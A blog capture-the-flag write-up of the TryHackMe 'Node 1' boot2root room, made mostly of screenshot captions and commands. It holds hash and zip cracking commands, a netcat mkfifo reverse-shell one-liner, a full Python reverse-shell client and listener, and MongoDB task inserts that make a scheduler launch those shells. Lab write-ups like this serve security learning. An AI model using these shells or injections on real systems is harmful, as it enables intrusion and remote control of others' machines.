当て身 Atemi

A Cybersecurity blog by shinris3n
👊 Writeups 👊 News 👊 Resources

Part of the Ninpwn Network
shinris3n
<< back

17 April 2020

Node 1

Challenge Source: TryHackMe
Challenge Category: boot2root

sudo nmap -A 10.10.123.120

Nmap Output

Website Sourcecode

Website Path 1 Website Path 2

Website Path 2

Hash-Identifier

hashcat -m 1400 -a 0 crackthispw.txt /usr/share/wordlists/rockyou.txt --force

Hashcat 1 Hashcat 2

Admin Login

Encoded File

CyberChef

fcrackzip -v -D -u -p '/usr/share/wordlists/rockyou.txt' myplacebackup_decoded.zip

Fcrackzip Output

Trololol

Credentials

PS Output

Scheduler

mongo mongodb://mark:markspw@localhost:27017/scheduler?authSource=scheduler
‘rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f’
#!/usr/bin/python3

import os
import socket
import subprocess

HOST = '10.11.3.185' # The ip of the listener.
PORT = 2468 # The same port as listener.

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT)) # Connect to listener.
s.send(str.encode("[*] Connection Established!")) # Send connection confirmation.

while 1: # Start loop.
data = s.recv(1024).decode("UTF-8") # Recieve shell command.
if data == "quit":
break # If it's quit, then break out and close socket.
if data[:2] == "cd":
os.chdir(data[3:]) # If it's cd, change directory.
# Run shell command.
if len(data) > 0:
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdout_value = proc.stdout.read() + proc.stderr.read() # Read output.
output_str = str(stdout_value, "UTF-8") # Format output.
currentWD = os.getcwd() + "> " # Get current working directory.
s.send(str.encode(currentWD + output_str)) # Send output to listener.

s.close() # Close socket.
#!/usr/bin/python3

from socket import *

HOST = '' # '' means bind to all interfaces.
PORT = 2468 # Port.

s = socket(AF_INET, SOCK_STREAM) # Create our socket handler.
s.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) # Set is so that when we cancel out we can reuse port.
try:
s.bind((HOST, PORT)) # Bind to interface.
print("[*] Listening on 0.0.0.0:%s" % str(PORT)) # Print we are accepting connections.
s.listen(10) # Listen for only 10 unaccepted connections.
conn, addr = s.accept() # Accept connections.
print("[+] Connected by", addr) # Print connected by ipaddress.
data = conn.recv(1024).decode("UTF-8") # Receive initial connection.
while 1: # Start loop.
command = input("target_machine> ") # Enter shell command.
conn.send(bytes(command, "UTF-8")) # Send shell command.
if command == "quit":
break # If we specify quit then break out of loop and close socket.
data = conn.recv(1024).decode("UTF-8") # Receive output from command.
print(data) # Print the output of the command.
except KeyboardInterrupt:
print("...listener terminated using [ctrl+c], Shutting down!")
exit() # Using [ctrl+c] will terminate the listener.

conn.close() # Close socket.

Python sender Python listener

db.tasks.insert({ "cmd": “python3 /tmp/sayhello.py” });

Python sender executed Python listener executed

db.tasks.insert({ "cmd": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.11.3.185 2468 >/tmp/f" });

Netcat sender executed Netcat listener executed

uname -a

uname -a

Searchsploit Output

Exploit Build

Webserver

Root Flag

This was a fun, educational and challenging room; totally worth pushing through to complete.

Tags: TryHackMe